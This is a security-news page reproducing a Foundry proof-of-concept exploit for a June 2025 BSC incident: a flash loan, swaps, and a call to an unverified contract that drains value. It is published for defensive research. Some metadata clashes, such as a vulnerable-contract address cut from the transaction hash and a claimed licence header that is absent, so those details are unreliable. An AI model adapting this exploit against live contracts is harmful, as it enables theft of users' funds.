Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/unverified_8490_exp.sol

Public reproduction file for dataset entry Unverified_8490.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/unverified_8490_exp.sol108 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 48.3K USD
7// Attacker : 0x7248939f65bdd23aab9eaab1bc4a4f909567486e
8// Attack Contract : https://etherscan.io/address/0xc59d50e26aee2ca34ae11f08924c0bc619728e7c
9// Vulnerable Contract :
10// Attack Tx : https://bscscan.com/tx/0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d1
12// @Info
13// Vulnerable Contract Code :
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1932309011564781774
17// Twitter Guy : https://x.com/TenArmorAlert/status/1932309011564781774
18// Hacking God : N/A
20address constant PancakeV3Pool = 0xbaf9f711a39271701b837c5cC4F470d533bACf33;
21address constant SmartRouter = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;
22address constant TransparentUpgradeableProxy = 0x8d0D000Ee44948FC98c9B98A4FA4921476f08B0d;
23address constant Token = 0x0B9dDfCA570305128d347A263d7061E1eB774444;
24address constant attacker = 0xF514C02048E9296D56d693F24dFC6780A2bdD18A;
25address constant addr = 0x8490AA884Adb08a485BC8793C17296c9E2c91294;
27interface IPancakeV3Pool_Local {
28 function flash(address, uint256, uint256, bytes calldata) external;
30struct ExactInputSingleParams {
31 address tokenIn;
32 address tokenOut;
33 uint24 fee;
34 address recipient;
35 uint256 amountIn;
36 uint256 amountOutMinimum;
37 uint160 sqrtPriceLimitX96;
39interface ISmartRouter {
40 function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
42interface ITransparentUpgradeableProxy_Local {
43 function approve(address, uint256) external returns (bool);
44 function transfer(address, uint256) external returns (bool);
46interface IToken_Local {
47 function approve(address, uint256) external returns (bool);
48 function balanceOf(address) external view returns (uint256);
51contract ContractTest is Test {
52 function setUp() public {
53 vm.createSelectFork("bsc", 51190821);
54 }
56 function testPoC() public {
57 vm.startPrank(attacker, attacker);
58 AttackerC attC = new AttackerC();
59 attC.attack();
60 vm.stopPrank();
61 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(TransparentUpgradeableProxy).balanceOf(address(attC)), 18);
62 }
65contract AttackerC {
68 function attack() public {
69 if (tx.origin == attacker) {
70 IPancakeV3Pool_Local(PancakeV3Pool).flash(address(this), 0, 9350 * 1e18, hex"00");
71 }
72 }
74 function pancakeV3FlashCallback(uint256 /*amount0*/, uint256 /*amount1*/, bytes calldata /*data*/) external {
75 ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).approve(SmartRouter, 100000000000000000000000 * 1e18);
76 {
77 ISmartRouter(SmartRouter).exactInputSingle(
78 ExactInputSingleParams({
79 tokenIn: TransparentUpgradeableProxy,
80 tokenOut: Token,
81 fee: uint24(100),
82 recipient: address(this),
83 amountIn: 9350 * 1e18,
84 amountOutMinimum: 0,
85 sqrtPriceLimitX96: uint160(0)
86 })
87 );
88 }
89 (bool s, ) = addr.call(abi.encodeWithSelector(bytes4(0x5ff02eae)));
90 require(s, "addr call fail");
91 IToken_Local(Token).approve(SmartRouter, 100000000000000000000000000 * 1e18);
92 uint256 bal = IToken_Local(Token).balanceOf(address(this));
93 {
94 ISmartRouter(SmartRouter).exactInputSingle(
95 ExactInputSingleParams({
96 tokenIn: Token,
97 tokenOut: TransparentUpgradeableProxy,
98 fee: uint24(100),
99 recipient: address(this),
100 amountIn: bal,
101 amountOutMinimum: 0,
102 sqrtPriceLimitX96: uint160(0)
103 })
104 );
105 }
106 ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).transfer(PancakeV3Pool, 9350935 * 10**15);
107 }

Analysis

Dataset entry

Public Foundry test for “Unverified_8490” (2025-06-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7248939f65bdd23aab9eaab1bc4a4f909567486e

  • Attack Contract

    0xc59d50e26aee2ca34ae11f08924c0bc619728e7c

  • Vulnerable Contract

    0x9191153c8523d97f3441a08fef1da5e4169d9c29

  • Attack Tx

    0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d1

File record

Name
Unverified_8490
Path
src/test/2025-06/unverified_8490_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
07e64650cfff4a920e46c3bdf3a73076fb8a821b
Language
Solidity
Size
108 lines
Date
2025-06-10
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/unverified_8490_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 07e64650cfff4a920e46c3bdf3a73076fb8a821b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.